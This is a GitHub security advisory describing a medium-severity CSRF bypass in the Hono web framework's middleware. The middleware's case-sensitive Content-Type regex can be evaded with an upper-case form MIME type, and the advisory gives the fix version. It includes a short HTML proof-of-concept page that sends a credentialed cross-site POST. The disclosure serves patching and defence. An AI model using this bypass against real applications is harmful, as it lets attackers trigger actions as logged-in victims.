MEDIUM 5.0

GHSA-rpfr-3m35-5vx5

Hono CSRF middleware can be bypassed using crafted Content-Type header

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### Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

### Details

MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

### PoC

```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html> ```

### Impact

Bypass csrf protection implemented with hono csrf middleware.

### Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

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npm / hono

최초 영향 버전: 0 수정 버전: 4.5.8

수정 npm install hono@4.5.8

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